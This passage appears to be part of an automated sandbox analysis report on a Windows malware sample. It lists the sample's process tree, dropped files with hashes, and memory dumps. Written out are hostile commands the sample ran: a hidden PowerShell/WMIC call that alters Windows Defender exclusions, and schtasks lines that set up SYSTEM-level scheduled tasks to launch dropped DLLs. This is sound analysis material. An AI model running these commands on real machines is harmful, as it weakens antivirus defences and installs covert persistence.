forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
3⤵
PID:2708

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
4⤵
PID:4028

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4336

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4432

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\DLOGhsaIU\SAPYDs.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "WIDyJrOtfliIWWA" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2996

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "WIDyJrOtfliIWWA2" /F /xml "C:\Program Files (x86)\DLOGhsaIU\ibzOnlo.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:5064

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "WIDyJrOtfliIWWA"
2⤵
PID:4640

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "WIDyJrOtfliIWWA"
2⤵
PID:3684

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "nxADIXokSRoYuh" /F /xml "C:\Program Files (x86)\dqJSprjCYNjU2\VsaoVdq.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:624

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "KpIDWATyCmEAP2" /F /xml "C:\ProgramData\lKoxjEGWaXzMwnVB\SYqDGqP.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4224

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "TavfbLKZPLxPZfDXy2" /F /xml "C:\Program Files (x86)\JoukbHKXhnJgygRymeR\RpcFUQA.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4700

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "yjMcJQudiAqgWtKYmHU2" /F /xml "C:\Program Files (x86)\LXFcSqNRPdfiC\lJEfOuv.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:3164

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "xOqIMlfoTdTUPfGRn" /SC once /ST 03:10:16 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\jEUQWIQvPKxTkmGv\QdqDQgBz\xCjhQzZ.dll\",#1 /NRLzdidPw 385137" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1588

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "xOqIMlfoTdTUPfGRn"
2⤵
PID:4468

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "QGKRfysOUInPGCvKQ"
2⤵
PID:4832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 2156
2⤵
- Program crash
PID:4408

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\jEUQWIQvPKxTkmGv\QdqDQgBz\xCjhQzZ.dll",#1 /NRLzdidPw 385137
1⤵
PID:1192

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\jEUQWIQvPKxTkmGv\QdqDQgBz\xCjhQzZ.dll",#1 /NRLzdidPw 385137
2⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:5052

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "xOqIMlfoTdTUPfGRn"
3⤵
PID:3092

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
C:\Program Files (x86)\DLOGhsaIU\ibzOnlo.xml
Filesize
2KB

MD5
a73615c1cd3fc46948ef45344c3d54aa

SHA1
5ef4ce5393a58b5334bc3532e29aa9fdf18fa604

SHA256
975c28d32febcc15a41e7a2b15499326dcae00718697c55500711fa2456189b2

SHA512
a96f7734b42eeda007b5bff139f8610566549365ae0069000db4772e73754d880568592cf58e7fd4ae660c8e22ce6bd8ae39d20cf39dd2c47cb496a18304da5e

Download Submit
C:\Program Files (x86)\JoukbHKXhnJgygRymeR\RpcFUQA.xml
Filesize
2KB

MD5
1011496d5948ca2207d05b3ecc71b4fc

SHA1
20d1052b1cd33f9045f91cb43f9970127dabf86b

SHA256
d57aeb66ace3502129b316d62dea685f3a25ee312f89ae742ae26bd8322cd7dd

SHA512
7556c29bfb625c45a82d3552a145e46e3f31360ed6425b872762222e8609332962d7709b1a7132f45912bf3fb5669cf19a26ee1388415efd0c749accbc13f048

Download Submit
C:\Program Files (x86)\LXFcSqNRPdfiC\lJEfOuv.xml
Filesize
2KB

MD5
c3227d82c168ff7c8b12c0e4036ed36a

SHA1
de113136412db5cc9580e99b608810b95bd9ea5e

SHA256
6cc1a48ccf770db8626e7b34eca4d1d8b53876ec1c7c3d37c3e0b5dc58f30541

SHA512
d70527ed9134ee241a2dd1194a184698230f62539b8bdf00c1738b521952bad94ec81421a0345cb152a02a27cc1599c75b5a5abaff889f2b97f98fc30d289d1e

Download Submit
C:\Program Files (x86)\dqJSprjCYNjU2\VsaoVdq.xml
Filesize
2KB

MD5
0b5b1d37fc1c284857f40fd552563518

SHA1
6d33be1c78724d631670507c117d89ab471a1276

SHA256
a1770f13cd26a3243282bf3090db8f5bca70a3d63bb65ae775f75a02a365b9fc

SHA512
c6aebb4f0c9cf64f4da602364cc7889eb95218a89e356f9e526ce824e17a50fb7bcd52c2cab9035769f17096671276f04f21ec99b06b368da7b368547c9cd289

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
Filesize
2.0MB

MD5
ea7013623fdfdee92e89d28d814b1f79

SHA1
0c3a42794db666a2f3d56e438470f79c6e6b9f66

SHA256
d6d09f09177827c8cd5ac7b6c5553beffe6ef61841b3eb8eb710c270150bb4d9

SHA512
73a800c45331915c5ef534c85fc2f9316e4e679dcebb095dec14288707d8afa9d55bbfa8ea97d48fdb149b2aa7bf37dc7ac0c8a35cdc880b19d4999f691d22c1

Download Submit
C:\ProgramData\lKoxjEGWaXzMwnVB\SYqDGqP.xml
Filesize
2KB

MD5
13436f2066ae9ae73f9dfa6e569a5798

SHA1
83b7b368450d3ea7076b07413f7cd7d2735fc492

SHA256
686c5f7cb58fec48d0d524cf4587fd422868b9216857525ca010b31512044038

SHA512
6363c44a876233ab457f1941b729c08527edce0ef5d74baae843c4ad753aec22e1a10bd6440b15c6106bf4ea86199034e289d0740c807c7b0ddfed4dbac39858

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
10KB

MD5
c71100995688a0ff21ef4411351849e7

SHA1
b3d610fbd4aa30f9476d354b491cb8c8b5edfc98

SHA256
2103d0568fccc589883c437a4cf5ab677301f2f44b21c241d4f599facba927ec

SHA512
c5bfee56db7f8e7bacde2c71b35deba29eccc06c21b3618016f416ecfe0875a3e76fffa071b40db1a22bdecaa36aea26d30a740c914d57ecf4c47e695cd313e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
87a75f23b713ab36c845bfe569158f66

SHA1
5cdfc7b8c9d8b3204741f184903b22b015732ff4

SHA256
8ab195178096c62d8d3f860d51d6a90ec3d59dc9be354c5fb4cee317db4df408

SHA512
345b890c2bae6e4996c3d08eb86d0b1192aa3aa871c3846b2b7046c236651cf612d77436439e5d0e3df109500252be406c2bb3ef7f424eee894b12a03df69281

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS8F9D.tmp\Install.exe
Filesize
6.4MB

MD5
8714a81de1a9534f2c65020e61dc203d

SHA1
dd7b042e1cf5fb383e2a5ed5feb0b2ef52881f93

SHA256
cf11171f02b073c4ebbfd85ba3c82854a22c7505e251f6d01702fa66b3be51ca

SHA512
7138d31407a71bdfcd8152edb0b8ef4a149246148008206e6e200521acf7cf1859969ed1f443abfcbe76f29bb60bf1819523c9290eda2ba77b790aea716b4199

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS91C0.tmp\Install.exe
Filesize
6.7MB

MD5
461e481b91a66d6d62df3c8bddbd3a94

SHA1
7df56e81848dcafcb1ec0fb5ebcd05af3a4e16e5

SHA256
90fb3644af30c1804c48d3e10350876da24e9c3afeac4e464ad0cab7b5957e31

SHA512
b8582306f9f2d6256622c1c01f8bb237879ce46ef98d2c443e408da77db09ef77c40a5040bb2650e20ee12c7b7d425dcafd0f8cf8712c6420c996eed0bfaf103

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4b5pbz2m.5we.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wtg1s5j6.default-release\prefs.js
Filesize
6KB

MD5
8811b13c1bf5c66ac1cdc8f1f525b8c5

SHA1
84cb9b7b8ad690d179ff8c6249c425e2a9ffe0e6

SHA256
a5133576f01fd563c0483315e6cd89ec135830c86af56137935cb0d5c0c387e9

SHA512
5e2668967e88a7aad38e7ca6bc678b6e60578df218aeb10840f3c711796802603d5eb26e3be14f1833fce5c44dcb24b11bc6bd82724029ea10922dae811ac3ac

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
0f5cbdca905beb13bebdcf43fb0716bd

SHA1
9e136131389fde83297267faf6c651d420671b3f

SHA256
a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060

SHA512
a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
56a4d03a24f5af53fce0909efbd053cd

SHA1
d20fc8371269e7ffea8fb19a616ca7b613df78e1

SHA256
b1ee76c91463411fc8d75cbaf67ec97902ed0f574dac552c467e946efdc90d95

SHA512
89af37e5bba71dec1b68725fd0f20520cbf4d72f4e3d191049800e59fa3984854870121e869a5d593096f554a9daa37c44acb9c5473e33be8c9e282f665668ff

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
d8f12ea0d1b0399a9bedd6dc1388bc6b

SHA1
ad38f36305ba653289e3bb318c774f3ceedd72af

SHA256
60ff77a0075a26022c8529a676cadf85e99e7a41f34c8ce95c3916d2b31d9bd0

SHA512
00fe3c31c93c6f2f5b96acac578543208d18180b2d1bd8a39fd9f7959f510c15eeac4d6c816bfdf6f05b6587ebb1b22afb9552b0d85537c5c3418d50ddfd86b0

Download Submit
C:\Windows\Temp\jEUQWIQvPKxTkmGv\QdqDQgBz\xCjhQzZ.dll
Filesize
6.4MB

MD5
6d724b96cb86cee81d4fef0572d6f2ee

SHA1
a948053a1e8682749f6a4170fc2750e41560dab3

SHA256
411b84a9cc0f73fb9385270537c151da2f98e13da679f816614877687a307931

SHA512
df5d2b03698067ce2c0a4ad6182faad247c9c860aab8cc0365dd47972f990516b53dc0abc33db557239bb1428ba69716cf0e5ff523ec56bb003fcb39e796aca6

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Filesize
5KB

MD5
b785d35a820e277da2f5c2bc56de981d

SHA1
40c3523cb1e2729bbd3abf339e17666c573e022a

SHA256
570a8b4f372d44be75e8307c4196a4bf00b32d89a73b8f8ab4611274be207a1c

SHA512
cce55226a7ed4ca859491bb5408e078174b326e0748262cbcad59c4105150cc1b1f972fde00d03c586213d25563004f6956b1bb447bff712b1d64f3e3ee3ca5a

Download Submit
memory/1336-53-0x00000000073D0000-0x000000000741B000-memory.dmp

Filesize
300KB

Download
memory/2272-380-0x0000000003B40000-0x0000000003BCA000-memory.dmp

Filesize
552KB

Download
memory/2272-126-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/2272-143-0x00000000029C0000-0x0000000002A45000-memory.dmp

Filesize
532KB

Download
memory/2272-391-0x0000000003BD0000-0x0000000003CA0000-memory.dmp

Filesize
832KB

Download
memory/2272-197-0x0000000003110000-0x0000000003172000-memory.dmp

Filesize
392KB

Download
memory/2272-434-0x0000000000D90000-0x000000000144E000-memory.dmp

Filesize
6.7MB

Download
memory/2272-125-0x0000000000D90000-0x000000000144E000-memory.dmp

Filesize
6.7MB

Download
memory/2336-117-0x0000000001280000-0x000000000193E000-memory.dmp

Filesize
6.7MB

Download
memory/2336-47-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/2336-46-0x0000000001280000-0x000000000193E000-memory.dmp

Filesize
6.7MB

Download
memory/4056-72-0x0000000007790000-0x00000000077DB000-memory.dmp

Filesize
300KB

Download
memory/4056-70-0x0000000006D00000-0x0000000007050000-memory.dmp

Filesize
3.3MB

Download
memory/4336-133-0x0000000006940000-0x0000000006C90000-memory.dmp

Filesize
3.3MB

Download
memory/4336-142-0x0000000007210000-0x000000000725B000-memory.dmp

Filesize
300KB

Download
memory/4432-28-0x0000000007D90000-0x0000000007E06000-memory.dmp

Filesize
472KB

Download
memory/4432-23-0x0000000007560000-0x00000000075C6000-memory.dmp

Filesize
408KB

Download
memory/4432-20-0x0000000001130000-0x0000000001166000-memory.dmp

Filesize
216KB

Download
memory/4432-21-0x0000000006CE0000-0x0000000007308000-memory.dmp

Filesize
6.2MB

Download
memory/4432-22-0x0000000006CA0000-0x0000000006CC2000-memory.dmp

Filesize
136KB

Download
memory/4432-27-0x0000000007B70000-0x0000000007BBB000-memory.dmp

Filesize
300KB

Download
memory/4432-26-0x0000000007510000-0x000000000752C000-memory.dmp

Filesize
112KB

Download
memory/4432-25-0x00000000076B0000-0x0000000007A00000-memory.dmp

Filesize
3.3MB

Download
memory/4432-24-0x0000000007640000-0x00000000076A6000-memory.dmp

Filesize
408KB

Download
memory/4560-91-0x000002751EBB0000-0x000002751EBD2000-memory.dmp

Filesize
136KB

Download
memory/4560-95-0x000002751ED60000-0x000002751EDD6000-memory.dmp

Filesize
472KB

Download
memory/4824-43-0x0000000001280000-0x000000000193E000-memory.dmp

Filesize
6.7MB

Download
memory/4824-44-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/4824-17-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/4824-13-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/4824-12-0x0000000001280000-0x000000000193E000-memory.dmp

Filesize
6.7MB

Download
memory/5052-410-0x0000000003FD0000-0x00000000045A5000-memory.dmp

Filesize
5.8MB

Download